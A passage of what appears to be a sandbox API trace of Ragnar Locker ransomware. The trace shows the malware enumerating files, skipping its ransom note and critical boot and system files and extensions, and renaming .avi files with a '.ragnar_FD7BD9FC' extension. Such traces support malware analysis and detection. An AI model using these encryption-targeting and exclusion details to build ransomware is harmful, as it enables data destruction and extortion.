ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0053.032] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.032] lstrcpyW (in: lpString1=0x1eab62, lpString2="boxed-correct.avi" | out: lpString1="boxed-correct.avi") returned="boxed-correct.avi" [0053.032] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned=".avi" [0053.032] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.032] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="autorun.inf") returned 1 [0053.035] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="boot.ini") returned 1 [0053.035] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="bootfont.bin") returned 1 [0053.035] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="bootsect.bak") returned 1 [0053.035] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="bootmgr") returned 1 [0053.035] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="bootmgr.efi") returned 1 [0053.035] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="bootmgfw.efi") returned 1 [0053.035] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="desktop.ini") returned -1 [0053.035] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="iconcache.db") returned -1 [0053.035] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="ntldr") returned -1 [0053.035] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="ntuser.dat") returned -1 [0053.035] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="ntuser.dat.log") returned -1 [0053.035] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="ntuser.ini") returned -1 [0053.035] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="thumbs.db") returned -1 [0053.035] lstrcmpiW (lpString1=".avi", lpString2=".db") returned -1 [0053.035] lstrcmpiW (lpString1=".avi", lpString2=".sys") returned -1 [0053.035] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0053.035] lstrcmpiW (lpString1=".avi", lpString2=".lnk") returned -1 [0053.035] lstrcmpiW (lpString1=".avi", lpString2=".msi") returned -1 [0053.035] lstrcmpiW (lpString1=".avi", lpString2=".drv") returned -1 [0053.035] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1 [0053.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0053.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.046] CloseHandle (hObject=0xffffffff) returned 0 [0053.046] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" [0053.046] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.ragnar_FD7BD9FC" [0053.046] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.046] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0053.046] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.046] lstrcpyW (in: lpString1=0x1eab62, lpString2="boxed-delete.avi" | out: lpString1="boxed-delete.avi") returned="boxed-delete.avi" [0053.046] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned=".avi" [0053.046] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.046] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="autorun.inf") returned 1 [0053.046] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="boot.ini") returned 1 [0053.046] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="bootfont.bin") returned 1 [0053.046] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="bootsect.bak") returned 1 [0053.046] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="bootmgr") returned 1 [0053.046] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="bootmgr.efi") returned 1 [0053.046] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="bootmgfw.efi") returned 1 [0053.046] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="desktop.ini") returned -1 [0053.047] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="iconcache.db") returned -1 [0053.047] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="ntldr") returned -1 [0053.047] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="ntuser.dat") returned -1 [0053.047] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="ntuser.dat.log") returned -1 [0053.047] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="ntuser.ini") returned -1 [0053.047] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="thumbs.db") returned -1 [0053.047] lstrcmpiW (lpString1=".avi", lpString2=".db") returned -1 [0053.047] lstrcmpiW (lpString1=".avi", lpString2=".sys") returned -1 [0053.047] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0053.047] lstrcmpiW (lpString1=".avi", lpString2=".lnk") returned -1 [0053.047] lstrcmpiW (lpString1=".avi", lpString2=".msi") returned -1 [0053.047] lstrcmpiW (lpString1=".avi", lpString2=".drv") returned -1 [0053.047] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1 [0053.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0053.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.064] CloseHandle (hObject=0xffffffff) returned 0 [0053.064] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" [0053.064] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.ragnar_FD7BD9FC" [0053.064] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.065] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0053.065] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.065] lstrcpyW (in: lpString1=0x1eab62, lpString2="boxed-join.avi" | out: lpString1="boxed-join.avi") returned="boxed-join.avi" [0053.065] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned=".avi" [0053.065] lstrcmpiW (lpString1="boxed-join.avi", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.065] lstrcmpiW (lpString1="boxed-join.avi", lpString2="autorun.inf") returned 1 [0053.065] lstrcmpiW (lpString1="boxed-join.avi", lpString2="boot.ini") returned 1 [0053.065] lstrcmpiW (lpString1="boxed-join.avi", lpString2="bootfont.bin") returned 1 [0053.065] lstrcmpiW (lpString1="boxed-join.avi", lpString2="bootsect.bak") returned 1 [0053.065] lstrcmpiW (lpString1="boxed-join.avi", lpString2="bootmgr") returned 1 [0053.065] lstrcmpiW (lpString1="boxed-join.avi", lpString2="bootmgr.efi") returned 1 [0053.065] lstrcmpiW (lpString1="boxed-join.avi", lpString2="bootmgfw.efi") returned 1 [0053.065] lstrcmpiW (lpString1="boxed-join.avi", lpString2="desktop.ini") returned -1 [0053.065] lstrcmpiW (lpString1="boxed-join.avi", lpString2="iconcache.db") returned -1 [0053.065] lstrcmpiW (lpString1="boxed-join.avi", lpString2="ntldr") returned -1 [0053.065] lstrcmpiW (lpString1="boxed-join.avi", lpString2="ntuser.dat") returned -1 [0053.065] lstrcmpiW (lpString1="boxed-join.avi", lpString2="ntuser.dat.log") returned -1 [0053.065] lstrcmpiW (lpString1="boxed-join.avi", lpString2="ntuser.ini") returned -1 [0053.065] lstrcmpiW (lpString1="boxed-join.avi", lpString2="thumbs.db") returned -1 [0053.065] lstrcmpiW (lpString1=".avi", lpString2=".db") returned -1 [0053.065] lstrcmpiW (lpString1=".avi", lpString2=".sys") returned -1 [0053.065] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0053.065] lstrcmpiW (lpString1=".avi", lpString2=".lnk") returned -1 [0053.065] lstrcmpiW (lpString1=".avi", lpString2=".msi") returned -1 [0053.065] lstrcmpiW (lpString1=".avi", lpString2=".drv") returned -1 [0053.065] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1 [0053.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0053.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.068] CloseHandle (hObject=0xffffffff) returned 0 [0053.068] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" [0053.068] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.ragnar_FD7BD9FC" [0053.068] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.068] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0053.068] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.068] lstrcpyW (in: lpString1=0x1eab62, lpString2="boxed-split.avi" | out: lpString1="boxed-split.avi") returned="boxed-split.avi" [0053.069] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned=".avi" [0053.069] lstrcmpiW (lpString1="boxed-split.avi", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.069] lstrcmpiW (lpString1="boxed-split.avi", lpString2="autorun.inf") returned 1 [0053.069] lstrcmpiW (lpString1="boxed-split.avi", lpString2="boot.ini") returned 1 [0053.069] lstrcmpiW (lpString1="boxed-split.avi", lpString2="bootfont.bin") returned 1 [0053.069] lstrcmpiW (lpString1="boxed-split.avi", lpString2="bootsect.bak") returned 1 [0053.069] lstrcmpiW (lpString1="boxed-split.avi", lpString2="bootmgr") returned 1 [0053.069] lstrcmpiW (lpString1="boxed-split.avi", lpString2="bootmgr.efi") returned 1 [0053.069] lstrcmpiW (lpString1="boxed-split.avi", lpString2="bootmgfw.efi") returned 1 [0053.069] lstrcmpiW (lpString1="boxed-split.avi", lpString2="desktop.ini") returned -1 [0053.069] lstrcmpiW (lpString1="boxed-split.avi", lpString2="iconcache.db") returned -1 [0053.069] lstrcmpiW (lpString1="boxed-split.avi", lpString2="ntldr") returned -1 [0053.069] lstrcmpiW (lpString1="boxed-split.avi", lpString2="ntuser.dat") returned -1 [0053.069] lstrcmpiW (lpString1="boxed-split.avi", lpString2="ntuser.dat.log") returned -1 [0053.069] lstrcmpiW (lpString1="boxed-split.avi", lpString2="ntuser.ini") returned -1 [0053.069] lstrcmpiW (lpString1="boxed-split.avi", lpString2="thumbs.db") returned -1 [0053.069] lstrcmpiW (lpString1=".avi", lpString2=".db") returned -1 [0053.069] lstrcmpiW (lpString1=".avi", lpString2=".sys") returned -1 [0053.069] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0053.069] lstrcmpiW (lpString1=".avi", lpString2=".lnk") returned -1 [0053.069] lstrcmpiW (lpString1=".avi", lpString2=".msi") returned -1 [0053.069] lstrcmpiW (lpString1=".avi", lpString2=".drv") returned -1 [0053.069] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1 [0053.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0053.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.069] CloseHandle (hObject=0xffffffff) returned 0 [0053.069] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" [0053.069] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.ragnar_FD7BD9FC" [0053.070] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.070] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0053.070] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.070] lstrcpyW (in: lpString1=0x1eab62, lpString2="correct.avi" | out: lpString1="correct.avi") returned="correct.avi" [0053.070] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned=".avi" [0053.070] lstrcmpiW (lpString1="correct.avi", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.070] lstrcmpiW (lpString1="correct.avi", lpString2="autorun.inf") returned 1 [0053.070] lstrcmpiW (lpString1="correct.avi", lpString2="boot.ini") returned 1 [0053.070] lstrcmpiW (lpString1="correct.avi", lpString2="bootfont.bin") returned 1 [0053.070] lstrcmpiW (lpString1="correct.avi", lpString2="bootsect.bak") returned 1 [0053.070] lstrcmpiW (lpString1="correct.avi", lpString2="bootmgr") returned 1 [0053.070] lstrcmpiW (lpString1="correct.avi", lpString2="bootmgr.efi") returned 1 [0053.070] lstrcmpiW (lpString1="correct.avi", lpString2="bootmgfw.efi") returned 1 [0053.070] lstrcmpiW (lpString1="correct.avi", lpString2="desktop.ini") returned -1 [0053.070] lstrcmpiW (lpString1="correct.avi", lpString2="iconcache.db") returned -1 [0053.070] lstrcmpiW (lpString1="correct.avi", lpString2="ntldr") returned -1 [0053.070] lstrcmpiW (lpString1="correct.avi", lpString2="ntuser.dat") returned -1 [0053.070] lstrcmpiW (lpString1="correct.avi", lpString2="ntuser.dat.log") returned -1 [0053.070] lstrcmpiW (lpString1="correct.avi", lpString2="ntuser.ini") returned -1 [0053.070] lstrcmpiW (lpString1="correct.avi", lpString2="thumbs.db") returned -1 [0053.070] lstrcmpiW (lpString1=".avi", lpString2=".db") returned -1 [0053.070] lstrcmpiW (lpString1=".avi", lpString2=".sys") returned -1 [0053.070] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0053.070] lstrcmpiW (lpString1=".avi", lpString2=".lnk") returned -1 [0053.070] lstrcmpiW (lpString1=".avi", lpString2=".msi") returned -1 [0053.070] lstrcmpiW (lpString1=".avi", lpString2=".drv") returned -1 [0053.070] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1 [0053.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0053.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.071] CloseHandle (hObject=0xffffffff) returned 0 [0053.071] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" [0053.071] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.ragnar_FD7BD9FC" [0053.071] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.071] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0053.071] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.071] lstrcpyW (in: lpString1=0x1eab62, lpString2="delete.avi" | out: lpString1="delete.avi") returned="delete.avi" [0053.071] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned=".avi" [0053.071] lstrcmpiW (lpString1="delete.avi", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0053.071] lstrcmpiW (lpString1="delete.avi", lpString2="autorun.inf") returned 1 [0053.071] lstrcmpiW (lpString1="delete.avi", lpString2="boot.ini") returned 1 [0053.071] lstrcmpiW (lpString1="delete.avi", lpString2="bootfont.bin") returned 1 [0053.071] lstrcmpiW (lpString1="delete.avi", lpString2="bootsect.bak") returned 1 [0053.071] lstrcmpiW (lpString1="delete.avi", lpString2="bootmgr") returned 1 [0053.071] lstrcmpiW (lpString1="delete.avi", lpString2="bootmgr.efi") returned 1 [0053.071] lstrcmpiW (lpString1="delete.avi", lpString2="bootmgfw.efi") returned 1 [0053.071] lstrcmpiW (lpString1="delete.avi", lpString2="desktop.ini") returned -1 [0053.071] lstrcmpiW (lpString1="delete.avi", lpString2="iconcache.db") returned -1 [0053.071] lstrcmpiW (lpString1="delete.avi", lpString2="ntldr") returned -1 [0053.071] lstrcmpiW (lpString1="delete.avi", lpString2="ntuser.dat") returned -1 [0053.071] lstrcmpiW (lpString1="delete.avi", lpString2="ntuser.dat.log") returned -1 [0053.071] lstrcmpiW (lpString1="delete.avi", lpString2="ntuser.ini") returned -1 [0053.071] lstrcmpiW (lpString1="delete.avi", lpString2="thumbs.db") returned -1 [0053.071] lstrcmpiW (lpString1=".avi", lpString2=".db") returned -1 [0053.071] lstrcmpiW (lpString1=".avi", lpString2=".sys") returned -1 [0053.072] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0053.072] lstrcmpiW (lpString1=".avi", lpString2=".lnk") returned -1 [0053.072] lstrcmpiW (lpString1=".avi", lpString2=".msi") returned -1 [0053.072] lstrcmpiW (lpString1=".avi", lpString2=".drv") returned -1 [0053.072] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1 [0053.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0053.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 